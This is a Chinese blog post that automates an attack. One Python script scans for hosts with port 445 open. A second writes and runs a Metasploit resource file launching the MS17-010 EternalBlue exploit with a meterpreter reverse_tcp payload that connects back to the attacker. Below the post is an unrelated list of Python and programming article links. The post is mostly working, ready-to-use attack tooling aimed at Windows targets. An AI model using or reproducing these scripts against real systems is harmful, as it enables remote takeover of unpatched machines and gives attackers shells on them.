起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编

也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了。

0x01

攻击机:192.168.223.141 kali Linux
目标:192.168.3.5 windows

  需要用到的模块(这里我们写两个脚本,一个用于扫描IP段,看看那个IP开了445)

nmap模块
os模块
sys模块 nmap模块kail自带坑的要死,完全没有相关的函数。
手动卸载:pip uninstall nmap
安装:pip insall nmap

  0x02

代码分析

sm445.py

nmap模块详解:https://pypi.python.org/pypi/python-nmap/0.6.1

import nmap
import sys
print '[+]nmap scanning...'
def portscanner(sbg):
nmscn=nmap.PortScanner()#实例化nmap.PortScanner对象
nmscn.scan(sbg,'445')#scan('目标IP','端口')
for host in nmscn.all_hosts():#获取扫描到的所有主机
if nmscn[host].has_tcp(445):#判断主机上是否有445端口,
state=nmscn[host]['tcp'][445]['state']#端口445 / TCP在主机打开
if state=="open":#如果端口开放
print '[*]The open 445 ip in:'+host#输出开放端口的IP
portscanner(sys.argv[1])

  

yhzl.py

import sys
import os
print 'Metasploit executing the ms-17-010 vulnerability attack'#这句话的意思是正在实施MS17010漏洞的攻击
def sds(config):
config=open('yhzl.rc','w')#首先我们来创建一个xxx.rc的文件
#把你要使用到的模块和对应的参数写入xxx.rc里去
config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")
config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")
config.write('set RHOST '+sys.argv[1]+"\n")
config.write('set LHOST '+sys.argv[2]+"\n")
config.write('exploit'+"\n")
sds('')
def main():
mg=os.system('msfconsole -r /root/yhzl.rc')#执行msfconsole -r 路径/xxx.rc,就可以了
if __name__ == '__main__':
main()

  运行截图这里就不放了,我怕电脑蓝屏。视频发到群里了,看攻击过程的小伙伴

可以进群看聊天记录。还有欢迎大家进入即刻安全技术交流群:307283889

推荐大家看基本python的书:

《python绝技 运用python成为顶级黑客》 python2x 版本

《python 黑帽子》 python 3x版本

看完实战,或者构造一个思路去实现他。

python调用metasploit里的MS-17-010模块进行漏洞攻击的更多相关文章

  1. 《自拍教程17》Python调用命令

    他山之石 何为他山之石,就是借助外界工具,来实现自己想要的功能. 命令行界面软件, 即各种命令,我们也叫命令行工具, 此类工具也是测试人员或者开发人员常用的工具的一种. 测试人员可以借助这类工具,快速 ...

  2. Python调用ffpmeg和ffprobe处理视频文件

    需求: 运营有若干批次的视频.有上千个,视频文件,有mp4格式的,有ts格式的 现在有需要去掉视频文件片头和片尾的批量操作需求. 比如 文件夹A下面的视频去掉片尾10秒 文件夹B下面的视频去掉片头6秒 ...

  3. python调用C++之pybind11入门(相互调用)

    python调用C/C++有不少的方法,如boost.python, swig, ctypes, pybind11等,这些方法有繁有简,而pybind11的优点是对C++ 11支持很好,API比较简单 ...

  4. python调用c\c++

    前言 python 这门语言,凭借着其极高的易学易用易读性和丰富的扩展带来的学习友好性和项目友好性,近年来迅速成为了越来越多的人们的首选.然而一旦拿python与传统的编程语言(C/C++)如来比较的 ...

  5. python调用系统命令popen、system

    python调用Shell脚本,有两种方法:os.system(cmd)或os.popen(cmd),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容.所以说一般我们认为popen ...

  6. python 调用mysql存储过程返回结果集

    存储过程: delimiter | ),)) begin select * from tb_test where mid = imid and user = iuser; end; | delimit ...

  7. 『Python』Python 调用 ZoomEye API 批量获取目标网站IP

    #### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...

  8. python 调用shell命令三种方法

    #!/usr/bin/python是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python解释器: #!/usr/bin/env python这种用法是为了防止操作系统用户没有将pyth ...

  9. 篇2 安卓app自动化测试-初识python调用appium

    篇2              安卓app自动化测试-初识python调用appium --lamecho辣么丑 1.1概要 大家好!我是lamecho(辣么丑),上一篇也是<安卓app自动化测 ...

随机推荐

  1. Struts2框架(3)---Action类的3种书写方式

    Action类的3种书写方式 本文主要写有关写Action类的3种书写方式: (1)第一种 Action可以是POJO (简单模型对象)  不需要继承任何父类 也不需要实现任何接口 (2)实现Acti ...

  2. 判断DataTable某一列是否是时间列

    DataTable dt = new DataTable("Table0"); dt.Columns.Add("column0", System.Type.Ge ...

  3. 详解MongoDB管理命令

    MongoDB是一个NoSQL数据库系统:一个数据库可以包含多个集合(Collection),每个集合对应于关系数据库中的表:而每个集合中可以存储一组由列标识的记录,列是可以自由定义的,非常灵活,由一 ...

  4. iOS 设置视图背景的透明度

    p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #00afca } span.s1 { color: #fffff ...

  5. js验证input输入框(字母,数字,符号,中文)

    [javascript]代码库 <h1>js验证输入框内容</h1> <br /> <br /> 只能输入英文 <input type=" ...

  6. dataGrideView的使用

    总的连接地址:http://group.cnblogs.com/topic/40730.html 微软解说:https://msdn.microsoft.com/zh-cn/library/syste ...

  7. AntData.ORM框架 之 DotnetCore

    开源地址:https://github.com/yuzd/AntData.ORM   CodeGen使用请参考http://www.cnblogs.com/yudongdong/p/6421312.h ...

  8. ArcGIS 网络分析[1.1] 创建用于网络分析用的线类型shp文件[这个太基础了吧!]

    具体的准备,在上一篇就说过了,不再赘述. 阅读本篇前,需要的预备知识是:ArcGIS创建各种矢量数据的方法,了解地理坐标与投影坐标 本篇只创建单一的线数据,至于点数据,以后进行复杂的网络分析时再添加进 ...

  9. bzoj 3142: [Hnoi2013]数列

    Description 小T最近在学着买股票,他得到内部消息:F公司的股票将会疯涨.股票每天的价格已知是正整数,并且由于客观上的原因,最多只能为N.在疯涨的K天中小T观察到:除第一天外每天的股价都比前 ...

  10. JavaScript简单入门(补充篇)

    本文是对上一篇 JavaScript简单入门 的一些细节补充. 一.全局变量和局部变量 在<script>标签内定义的变量是当前页面中的全局变量.即 <script>标签可以直 ...